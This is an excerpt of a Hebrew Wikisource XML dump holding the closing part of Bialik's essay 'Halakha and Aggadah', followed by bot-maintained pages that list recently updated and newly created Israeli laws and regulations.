האגדה, היונקת מעולם האצילות, עוסקת בראוי וברצוי, וכשאני קורא בה אני רואה מה רצתה, איך הגתה ולמה נשאה את נפשה האומה הישראלית; ההלכה, שניזונית מעולם העשיה, עוסקת בקיים ובמוחזק, והיא מראה לנו בעליל, בציורים קצרים אבל בולטים, את עצם חייה של האומה, את ממשות חייה. אני רואה מתוכה עין בעין, איך הלבישה האומה את רצונה ומשאות נפשה השוטפים צורות חיים קיימות ומוצקות, צורות של מעשים. כשאתם נכנסים למשנה – אל נא תקמטו את מצחכם. עברו בין הפרקים בנחת, כמי שעובר בין חרבות ערים עתיקות; שוטו בין פסקי ההלכות הרצופים שם זה אצל זה כלבנים בנדבך ונראים בצמצומם כחצובי חלמיש; התבוננו בעין פקוחה אל כל הציורים הקטנים וקטני הקטנים, המפוזרים שם בערבוביה לאלפים, ואמרו: האין אתם רואים לפניכם חיי מעשה של אומה שלמה, שנתאבנו לכל תגיהם ופרטיהם בתוך כדי מהלכם?

איני מדבר רק על התמונות השלמות והמפורטות הבאות שם לפרקים, כגון סדר הבאת בכורים, סדר עבודת יום הכיפורים, סדר הדין, ודומיהם. פרקים תיאוריים כאלה הרי אֶפּיקה גמורה הם, במובנה התאוּרי, ומן הסוג המעולה. דן אני גם על אותם הרסיסים הקטנים, קו קו ותג תג, פרורי חיים קפואים, שמהם נצטרפו כמעט כל ששת סדרי המשנה ותוספאותיהן. האמנם כל אלה לא יצלחו לכל מלאכה בספרות? הבאמת פסולים הם? פסולים לחלוטין?

בקרוא איש מישראל בסדר זרעים, למשל, האין יש אשר יבואו אליו פתאום מתוך הדברים אויר של חיים וריח אדמה וריח עשב, ושכח פתאום כי בבית המדרש הוא יושב וכי לומד הוא, וראה את ה&quot;עם&quot; – &quot;עם הארץ&quot; – בכל עבודתו בשדה ובגנה ובכרם ובגֹרן, אותו ואת הכהן המחזר על הגרנות, ואת העניים והנמושות המלקטים, שנופלים או פורשים טליתם על הפאה לזכות בה ושמכים איש את רעהו במַגָלות על הלקט, ואת השדה המנומר עם החטין והזונין והירבוזין השוטים והחלגלוגות, ואת הגפן המוּדלה על התאנה, ואת חורי הנמלים שבתוך הקמה, ואת הרוח שעלעלה את הגפנים, ואת המלקט עשבים לחים ואת המגבב ביבש, ואת הבוצר שעוקץ את האשכול – והוא הוסבך בעלים ונפל מידו לארץ ונפרט, ואת הכרי של החטים עם החטה האחת הפוטרת אותו, ואת הצבי שנלקח בכסף מעשר, ואת האילן שהוא עומד בפנים ונוטה לחוץ, ואת עיסת הכלבים שהרועים אוכלים ממנה, ואת הרמון שבִּכֵּר ונקשר בגמי, ואת הגוזלות שעל גבי הסלים, ועוד ועוד כאלה וכאלה.

ובעבור האיש אל סדר מועד ונשים – האם לא יראה עין בעין את חיי הבית העבריים לכל סדריהם ופרטיהם? ובבואו אל נזיקין – האם לא יהי בעיניו כרואה את השוק ואת הרחוב העבריים שקפאו פתאום יום אחד על כל משאם-ומתנם ועל כל שאונם והמונם?

ויש אשר ירגיש איש כזה, כי עוד מעט, בעוד רגע קטן, והנה אחד איש מופת, אמן גדול, בא ונגע במטה אלהים אשר בידו – בכח הכשרון – אל החיים המאובנים האלה ושבו וחיו חיים שניים באחת מן היצירות הנפלאות; רק משהו קטן, קורטוב &quot;רוח הקודש&quot; – וההלכה תהפך תחת ידו ל&quot;אפיקה&quot;. 

הלא נמצאו מי &quot;שראו מעשה ונזכרו הלכה&quot;, ומדוע לא יהי גם להפך: &quot;ראו הלכה ונזכרו מעשה&quot;. 

אמת, פעוטה היא אפיקה זו; מן היסוד הספורי אין בה כמעט כלום. כולה תיאורית: רשימות זעירות של מנהגי חיים דלים, חיי יום יום הולכים בלאט; וגם הללו אינם באים לשמם, אלא בהבלעה ובדרך אגב; אך מה לעשות? כך היו החיים העבריים בימים ההם וכך נשמרו בספר הלאומי היחידי של אותה התקופה הארוכה. חיים אחרים לא היו לנו, ואם היו, לא נשאר זכרם. תקופת הגבורה והעוז ומועד היצירה הנשגבה שבאֶפּוֹס התנ&quot;כי עברו אז גם מן החיים וגם מן הספר לבלי שוב. הגיעו ימי העמידה: ימי &quot;שמירת החומות&quot; והגנה על הבנוי ועומד מכבר, ימי עשיית משמרת ומשמרת למשמרת, וגם ההלכה וגם האגדה של הימים ההם שתיהן טבועות בחותם זמנן: בחותם הפסיביות; גדולות אין לא בזו ולא בזו. שתיהן פרורים פרורים קטנים, פרורי מחשבה והרגשה ופרורי עשייה. אולם מן האמן הגמור, זה שאינו שואב &quot;רוח הקודש&quot; מאגודלו או מלחכה מאחורי הפנכא של שולחן זר, אלא צולל ויונק מעומק תהום רבה של נפש האומה ומסתרי חייה – מאמן כזה, אומר אני, לא יבצר לעשות גם בחומר הזה גדולות, אם רק הגדולות בנפשו פנימה הן. האמן ברוך האלהים כמה הוא צריך וייצר? – מעט &quot;חומר היולי&quot; כדי אחיזת הרוח. אם דל הוא החומר – יעשירנו משלו, ואם מת – יחיינו ממקור חייו. האמנות הגמורה, זו שאינה קרדום לחפור בה ואינה עטרת גאות בראש שוטים, שכורי אהבת עצמם והלומי תהלת שוא, אף היא, כמו התורה, אינה מתקימת אלא במי שממית עצמו עליה – כדי להחיות. העיקר הוא היחס החיוני של האדם אל צורת החיים שלפניו. ומי שמכריז על אחת מהן שהיא פסולה, צריך תחלה בדיקה אם לא נפסלו חייו הוא באותה פנה. 

- המן הסלע הזה, מן ההלכה, נוציא לנו מים חיים? – ישאל &quot;דור התחיה&quot; בתמיהה ובלי אמון.

הן! אם מטה האלהים בידכם ואם מקור החיים בלבבכם! אלו היו לנו אמנים גמורים ויוצרים ברוכי אלהים, שלא נפסלו חייהם הם, היו מדובבים גם את שפתי הסלע הזה, ועל ידי משהו קטן – זה שקוראים לו כשרון – היו הופכים את ההלכה לאֶפּוֹס לאומי. ואולם אמנינו, נוח להם לפי שעה לנוע על כלים שאולים ולקחת להם צורות מוכנות על ידי אחרים ולחקותם חקוי רעוע. המלאכה לא תמיד נקיה – אבל תחת זה היא קלה. זילא להם, שכיחה להם. ולפיכך גם באגדה – שהם מודים בה – עדין לא נודעה כל כך גבורתם, ועדין זו מצפה לגואל, שיבוא להפוך אותה לליריקה לאומית, לשירה חדשה באמת, מה שלא עלה גם בידי הפיטנים הקדמונים בכל עמלם – מחוסר כשרון מסוים לכך ומהעדר גם בהם יחס חיוני אל הצורה הספרותית ההיא.

 
- ובכן נתנה ראש ונשובה אל... ה&quot;שולחן ערוך&quot;?

מי שיגלה בדברי פנים כאלה, סימן שלא הבין בהם כלום. המלים &quot;הלכה ואגדה&quot; תלמודיות הן ומשמען במקומן קבוע, אבל מצד מהותן הפנימית משמען עשוי להתרחב ולהתפשט גם על שאר החזיונות בני-מיניהן, בין של התקופות הקודמות לתלמוד ובין של המאוחרות לו. שתי צורות מסוימות הן, שני חלופי סגנונים, שמלַוים זה את זה בחיים ובספרות, ודור דור ואגדתו, אגדה אגדה – והלכתה. 

לא בהלכה פלונית, כמו שלא באגדה אלמונית, הכתוב מדבר. בעיקר הלכה אנו עסוקים כאן, הלכה בתור כלל גדול, בתור צורה מוחשית ומסוימת  לחיים ממשיים, חיים שאינם פורחים באויר ותלויים ברפיון של הרגשות ומימרות נאות בלבד, אלא שיש להם גם גוף ודמות הגוף נאים. והלכה כזו, אני אומר, אינה אלא המשכה המוכרח, &quot;סיפא דקרא&quot; של האגדה. 

גדולה אגדה – שמביאה לידי הלכה. וכל אגדה שאין עמה הלכה, אוֹננית היא, וסופה היא עצמה בטלה, וגם מבטלת כח המעשה של בעליה. 

והאומר אין לי אלא אגדה – בודקין את אגדתו שמא פרח סרק הוא. למי הוא דומה? למי שאומר: קוטפני את הפרחים ואי אפשי בפירות. סופו שלא יזכה עוד אפילו לפרחים; שאם אין פרי אין גרעין, ואם אין גרעין פרח מנין? 

האגדה – חִציה מפקפקים ובאים באויר מתוך נדנוד, כאלו שנתזו מעל יתר מרושל בקשת; ההלכה – חִציה נאמנים וקושטים על קו הישר באיתנם ובלי זיע, כפוקעים מתוך קשת מתוחה. זו נותנת אויר לנשימה, וזו לרגל עמידה, קרקע עולם. זו מכניסה את היסוד הנוזל והשוטף, וזו – את היסוד המהַוה ומקַיֵם. אומה שאינה למודה להיות תוכפת הלכה לאגדה, מוסרת עצמה לתעתועי עולם ומסכנת בעצמה לשכוח את הדרך הישרה והיחידה שבין הרצון ובין המעשה ומן השאיפה אל ההגשמה. 

הלכה רצופה לאגדה, טן-דוּ – תעודה בריאות ושטר בגרות היא לאומה; וכל מקום שאתה מוצא אגדה ארמלית, בידוע שנתרופפו כח המעשה וכלי המעשה של בעליה, והם צריכים רפואה. ביחוד ישימו זאת אל לבם אלה המקדימים בסימני הלאומיות צורה לתוכן. 

חטא חטאו כמה דורות וכתות בישראל לאגדה, שהפסיקו בינם ובינה את הקשר החיוני. המוני התמימים שבהם תפסו דבריה כפשוטם וראוה כראות עיקרי אמונה, והמוני המתחכמים תפסו אף הם דבריה כפשוטם וחשבוה כהבלי שוא. אלה ואלה גסי דעת וטעם היו, על כן טחו עיניהם מראות את המאור השירי ואת ה&quot;אֱמֶת מָשָל&quot; שבה. '''הם חדלו להבין את לשונה. '''

עתה זכינו לדור שכולו אגדה. אגדה בספרות ואגדה בחיים. כל העולם כולו אינו אלא אגדה באגדה. להלכה בכל משמעותיה אין סימן וזכר.

כמה שיכפרו בדבר אלה שאין הכרה זו נעימה להם, האמת לא תזוז ממקומה: ספרותנו החדשה ברובה הגדול אִוְתָה לה, כקבצן הלז, דירת קבע במדור התחתון ביותר של המחשבה וההרגשה התרבותית. ננעלו עליה כל חמשים שערי הבינה ולא נשאר לה אלא פשפש קטן של &quot;יופי&quot; מסופק – האגדה של זמננו – (ה&quot;מאמריות&quot; העתונאית, האגודלית, אינה באה בחשבון). מעט ספורים ומעט שירים – הוא כל הלקט שבתרמילה. שום השפעה משאר מעינות הרוח העליונים אין. פסקה הלכה מישראל. והרע מכל, שאין גם נטיה נִכֶּרֶת בה – בספרות החדשה – להתרומם ולעלות מ&quot;בור שאון&quot; זה, מבור דלותה. אדרבה. חן המקום על יוצריה. ומשרבו ביניהם המוניים ועמי-הארץ, עוד נִכֶּרת מצדם כעין השתדלות מכוונת להשריש בלב ההמון את ההכרה, שאין &quot;ספרות&quot; ואין &quot;יצירה&quot; אלא זו היפה בלבד, וכל מה שמחוץ לה פסול. נער שוטה, אשר יצר, במחילה, עשרים חרוזים, או שתי נוֹבֶלוֹת, יצירתו יצירה, ו&quot;מורה נבוכי הזמן&quot;, למשל – הספר האחד יליד המחשבה העליונה בזמן החדש – איננו בגדר יצירה כלל.

ושוב אני מדגיש: איני בא להכריע לא בהלכה ולא באגדה ולומר: זו נאה וזו אינה נאה. כוונתי לאגדה ולהלכה סתם, בתור צורות תאומות של הספרות והחיים. ואני שואל: מה יהא סופה של אגדה שאין הלכה שלה בצדה, סמוך לה? 

את הסוף בספרות – אם זהו הסוף – אנו רואים. ריקה היא כמצולה שאין בה דגים. מי שרוצה באמת ובתמים ללמוד איזה דבר – עדיין גם עתה, לאחר מאה וחמשים שנה לקיומה, עליו לצאת ל&quot;שדה אחר&quot;. ויש לחוש, שגם מעט האגדה – היופי – תהא הולכת ומתנַוְנית, מאין השפעה באה לה מזמן לזמן ממקורות הרוח העליונים. עיקר זכות הקיום של הספרות היפה הלא היא סוף סוף רק בזה, שהיא קובעת, באמצעים המיוחדים לה, קשר קיים בין הרבים המושפעים ובין היחידים המשפיעים. &quot;שירה לשמה&quot;, &quot;כמו שתשיר הצפור&quot;, נאה היא – בשעות ההפסקה – לאלה העמלים בזעת אפים, לפני השירה ולאחריה, בהקמת ספרות כבירה לכל ענפי התרבות האנושית – ספרות יוצרת חיים ובונה חיים. להם נאה לזמר. אבל שירה מתוך שעמום ובטלה, מה צורך בה? 

כך היא בספרות. ובחיים?

הנה הולך וגדל דור באויר שכולו מימרות ופזמונים, ועל מיני דברים שכולם הבל פה ורוח שפתים. הולכת ונבראת מין יהדות של רשות. קוראים בשם לאומיות, תחיה, ספרות, יצירה, חנוך עברי, מחשבה עברית, עבודה עברית – וכל הדברים הללו תלויים בשערה של איזו חבה: חבת ארץ, חבת שפה, חבת ספרות – מה מחירה של חבה אוירית?

חבה? – אבל החובה היכן? ומאין תבוא? ומהיכן תינק? המן האגדה? והיא בטבע אינה אלא רשות, הן ולאו ורפה בידה.

יהדות שכולה אגדה דומה לברזל שהכניסוהו לאוּר ולא הכניסוהו לצונן. שאיפה שבלב, רצון טוב, התעוררות הרוח, חבה פנימית – כל הדברים הללו יפים ומועילים כשיש בסופם עשיה, עשיה קשה כברזל, חובה אכזרית. 

לבנות אתם אומרים – &quot;כרתו אמנה וכתבו ועל החתום שרינו לויינו וכהנינו...&lt;ref&gt;[[נחמיה י א|נחמיה י', א'.]]&lt;/ref&gt; והעמידו עליכם מצוות&quot;&lt;ref&gt;[[נחמיה י ל&quot;ג|שם, שם ל&quot;ג.]]&lt;/ref&gt; - הלא כן החלו לבנות גם אבותיכם. 

החזיונות הנשגבים של ישעיה השני העירו את הלבבות, ואולם כשהגיעה שעת הבנין, היו שני הנביאים שבין הבונים – חגי וזכריה – האחרונים לנבואה והראשונים להלכה, ואלה שלאחריהם – עזרא וסיעתו – לא היו אלא בעלי הלכה בלבד.

בואו והעמידו עלינו מצוות!

יוּתַּן לנו דפוסים לצקת בהם את רצוננו הנִגָר והרופס למטבעות מוצקות וקיימות. צמאים אנו לגופי מעשים. תנו לנו הרגל עשיה מרובה מאמירה בחיים, והרגל הלכה מרובה מאגדה בספרות.

אנו כופפים את צוארנו: איה עול הברזל? מדוע לא תבוא היד החזקה והזרוע הנטויה?

==קישורים חיצוניים==
 {{בן יהודה|תיקיה=ead/8585|שם=הלכה ואגדה}}
* {{קישור כללי |כתובת=https://benyehuda.org/read/792 |כותרת= על “ההלכה והאגדה” של ביאליק|תאריך_וידוא= |הכותב={{מח|יוסף חיים ברנר}} |תאריך=אייר תרע&quot;ט,|פורמט= |עמודים= |שפה= |doi= |ציטוט= |מידע נוסף= בפרויקט בן יהודה}}
* הרב {{וק|ישראל פורת}}, '''[http://www.daat.ac.il/chazal/maamar.asp?id=32 הלכה שוחקת ואגדה קפדנית]''' תגובה למאמר &quot;הלכה ואגדה&quot; של ביאליק (תשי&quot;א /1951).

==הערות שוליים==
{{פרויקט בן-יהודה|קישור=read/8585}}

[[קטגוריה:מסות ומאמרים (ביאליק)]]
[[קטגוריה:מאמרים על אגדה]]</text>
      <sha1>04mfs59g0yx947qjdotk7f9ui982xvo</sha1>
    </revision>
  </page>
  <page>
    <title>ויקיטקסט:ספר החוקים הפתוח/עדכונים אחרונים</title>
    <ns>4</ns>
    <id>290855</id>
    <revision>
      <id>3020675</id>
      <parentid>3020598</parentid>
      <timestamp>2026-06-18T17:02:11Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>עדכונים אחרונים</comment>
      <origin>3020675</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="2970" sha1="m08hwgjfcioa9o3b7cgwbeyjl406pws" xml:space="preserve">&lt;div style=&quot;height: 300px; overflow: auto;&quot;&gt;
* [[כללי הבנקאות (שירות ללקוח) (עמלות)|כללי הבנקאות {{מוקטן|(שירות ללקוח) (עמלות)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)}}]]
* [[החלטת שכר חברי הכנסת (הענקות ותשלומים)|החלטת שכר חברי הכנסת {{מוקטן|(הענקות ותשלומים)}}]]
* [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)|חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה {{מוקטן|(תיקוני חקיקה)}}]]
* [[חוק שנת הכספים]]
* [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* [[חוק תגמולים לבני משפחה של חטופים ונעדרים בפעולת איבה]]
* [[חוק הסיוע המשפטי]]
* [[חוק הביטוח הלאומי]]
* [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)|חוק הגבלת שכר טרחה {{מוקטן|(נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)}}]]
* [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)|צו להסדרה של הצבת כוורות, האבקה וייצור דבש {{מוקטן|(אישור מטרות המועצה להאבקה ודבש)}}]]
* [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)|חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות {{מוקטן|(תיקוני חקיקה)}}]]
* [[תקנות מסחר ברכב משומש]]
* [[חוק-יסוד: השפיטה]]
&lt;/div&gt;</text>
      <sha1>m08hwgjfcioa9o3b7cgwbeyjl406pws</sha1>
    </revision>
    <revision>
      <id>3020711</id>
      <parentid>3020675</parentid>
      <timestamp>2026-06-18T21:00:33Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>עדכונים אחרונים</comment>
      <origin>3020711</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3369" sha1="4unm9rc2crtuul40y9fqw1fl7xw1srk" xml:space="preserve">&lt;div style=&quot;height: 300px; overflow: auto;&quot;&gt;
* [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)|צו לימוד חובה {{מוקטן|(שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)}}]]
* [[כללי הבנקאות (שירות ללקוח) (עמלות)|כללי הבנקאות {{מוקטן|(שירות ללקוח) (עמלות)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)}}]]
* [[החלטת שכר חברי הכנסת (הענקות ותשלומים)|החלטת שכר חברי הכנסת {{מוקטן|(הענקות ותשלומים)}}]]
* [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)|חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה {{מוקטן|(תיקוני חקיקה)}}]]
* [[חוק שנת הכספים]]
* [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* [[חוק תגמולים לבני משפחה של חטופים ונעדרים בפעולת איבה]]
* [[חוק הסיוע המשפטי]]
* [[חוק הביטוח הלאומי]]
* [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)|חוק הגבלת שכר טרחה {{מוקטן|(נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)}}]]
* [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)|צו להסדרה של הצבת כוורות, האבקה וייצור דבש {{מוקטן|(אישור מטרות המועצה להאבקה ודבש)}}]]
* [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)|חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות {{מוקטן|(תיקוני חקיקה)}}]]
* [[תקנות מסחר ברכב משומש]]
&lt;/div&gt;</text>
      <sha1>4unm9rc2crtuul40y9fqw1fl7xw1srk</sha1>
    </revision>
    <revision>
      <id>3020721</id>
      <parentid>3020711</parentid>
      <timestamp>2026-06-19T03:00:37Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>עדכונים אחרונים</comment>
      <origin>3020721</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3480" sha1="8jl691x4aip3maufn8dyihydy91njlh" xml:space="preserve">&lt;div style=&quot;height: 300px; overflow: auto;&quot;&gt;
* [[חוק ועדות הכנסת (ועדת העבודה והרווחה)|חוק ועדות הכנסת {{מוקטן|(ועדת העבודה והרווחה)}}]]
* [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)|צו לימוד חובה {{מוקטן|(שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)}}]]
* [[כללי הבנקאות (שירות ללקוח) (עמלות)|כללי הבנקאות {{מוקטן|(שירות ללקוח) (עמלות)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)}}]]
* [[החלטת שכר חברי הכנסת (הענקות ותשלומים)|החלטת שכר חברי הכנסת {{מוקטן|(הענקות ותשלומים)}}]]
* [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)|חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה {{מוקטן|(תיקוני חקיקה)}}]]
* [[חוק שנת הכספים]]
* [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* [[חוק תגמולים לבני משפחה של חטופים ונעדרים בפעולת איבה]]
* [[חוק הסיוע המשפטי]]
* [[חוק הביטוח הלאומי]]
* [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)|חוק הגבלת שכר טרחה {{מוקטן|(נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)}}]]
* [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)|צו להסדרה של הצבת כוורות, האבקה וייצור דבש {{מוקטן|(אישור מטרות המועצה להאבקה ודבש)}}]]
* [[חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות (תיקוני חקיקה)|חוק להגנה על הצרכן מפני עוסקים המבצעים הפרות בנסיבות מחמירות {{מוקטן|(תיקוני חקיקה)}}]]
&lt;/div&gt;</text>
      <sha1>8jl691x4aip3maufn8dyihydy91njlh</sha1>
    </revision>
    <revision>
      <id>3020741</id>
      <parentid>3020721</parentid>
      <timestamp>2026-06-19T09:00:41Z</timestamp>
      <contributor>
        <username>OpenLawBot</username>
        <id>8112</id>
      </contributor>
      <comment>עדכונים אחרונים</comment>
      <origin>3020741</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="3236" sha1="ly7q62uv0mo4kdzen0719drtsk48u1g" xml:space="preserve">&lt;div style=&quot;height: 300px; overflow: auto;&quot;&gt;
* [[חוק שטרי-חסכון צמודי-דולר]]
* [[חוק ועדות הכנסת (ועדת העבודה והרווחה)|חוק ועדות הכנסת {{מוקטן|(ועדת העבודה והרווחה)}}]]
* [[צו לימוד חובה (שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)|צו לימוד חובה {{מוקטן|(שיעור השתתפות של המדינה ושל רשויות החינוך המקומיות בקיום מוסדות חינוך רשמיים לשנת הלימודים התשפ&quot;ו)}}]]
* [[כללי הבנקאות (שירות ללקוח) (עמלות)|כללי הבנקאות {{מוקטן|(שירות ללקוח) (עמלות)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירותי פעולה על ידי פקיד, פעולה בערוץ ישיר, מסלול מורחב ומסלול מורחב פלוס)}}]]
* [[צו הבנקאות (שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)|צו הבנקאות {{מוקטן|(שירות ללקוח) (פיקוח על שירות ניהול חשבון תשלום, שירות דמי כרטיס חיוב מיידי, שירות שינויים במועד הפירעון החודשי של הלוואה לדיור)}}]]
* [[החלטת שכר חברי הכנסת (הענקות ותשלומים)|החלטת שכר חברי הכנסת {{מוקטן|(הענקות ותשלומים)}}]]
* [[חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה (תיקוני חקיקה)|חוק התכנית להגדלת גמלאות הבטחת הכנסה לקשישים נזקקים ולסיוע לניצולי שואה {{מוקטן|(תיקוני חקיקה)}}]]
* [[חוק שנת הכספים]]
* [[חוק להקפאת כספים ששילמה הרשות הפלסטינית בזיקה לטרור מהכספים המועברים אליה מממשלת ישראל]]
* [[חוק תגמולים לבני משפחה של חטופים ונעדרים בפעולת איבה]]
* [[חוק הסיוע המשפטי]]
* [[חוק הביטוח הלאומי]]
* [[חוק הגבלת שכר טרחה (נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)|חוק הגבלת שכר טרחה {{מוקטן|(נכי צבא הגנה לישראל וכוחות הביטחון ונפגעי פעולות איבה)}}]]
* [[צו להסדרה של הצבת כוורות, האבקה וייצור דבש (אישור מטרות המועצה להאבקה ודבש)|צו להסדרה של הצבת כוורות, האבקה וייצור דבש {{מוקטן|(אישור מטרות המועצה להאבקה ודבש)}}]]
&lt;/div&gt;</text>
      <sha1>ly7q62uv0mo4kdzen0719drtsk48u1g</sha1>
    </revision>
  </page>
  <page>
    <title>משתמש:OpenLawBot/הוספה</title>
    <ns>2</ns>
    <id>293285</id>
    <revision>
      <id>3020662</id>
      <parentid>3020596</parentid>
      <timestamp>2026-06-18T16:42:12Z</timestamp>
      <contributor>
        <username>Fuzzy</username>
        <id>29</id>
      </contributor>
      <origin>3020662</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26471" sha1="hbdzje4hjwn12vma38dnnhenrxjht7l" xml:space="preserve">__INDEX__
רשימת דפים להוספה על ידי הבוט {{מוקטן|(רשימת דפים שהתווספו בעבר נשמרים [[משתמש:OpenLawBot/ארכיון|בארכיון]])}}
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לשואה ולגבורה)]]
* {{v}} נוצר [[צו עבירת קנס (יום הזכרון לחללי מערכות ישראל)]]
* {{v}} נוצר [[צו עבירת קנס (זיהום אויר)]]
* {{v}} נוצר [[צו סדר הדין הפלילי (סעיף 196 לחוק העונשין – עבירת קנס)]]
* {{v}} נוצר [[צו בתי הסוהר (קביעת קנס ופיצויים לענין עבירת בית סוהר)]]
* {{v}} נוצר [[תקנות מס הכנסה (דיבידנדים ששולם מס בשל חלוקתם)]]
* {{v}} נוצר [[תקנות בית המשפט לימאות (סדרי דין מיוחדים בבקשה להחרמת ספינה) (חרבות ברזל) (הוראת שעה)]]
* {{v}} נוצר [[The Palestine Act]]
* {{v}} נוצר [[כללי הסדרת העיסוק בשירותי תשלום וייזום תשלום (הודעה של גופים פטורים לרשות ניירות ערך)]]
* {{v}} נוצר [[תקנות סמכויות לאיסוף ואבחון של נתוני נוסעים הנכנסים לישראל או היוצאים ממנה (הפחתה של סכומי עיצום כספי)]]
* {{v}} נוצר [[חוק השפוט בארצות נכר]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין עיריית מגדל העמק)]]
* {{v}} נוצר [[צו המועצות המקומיות (חלוקת הכנסות בין המועצה האזורית עמק יזרעאל לבין המועצה המקומית זרזיר)]]
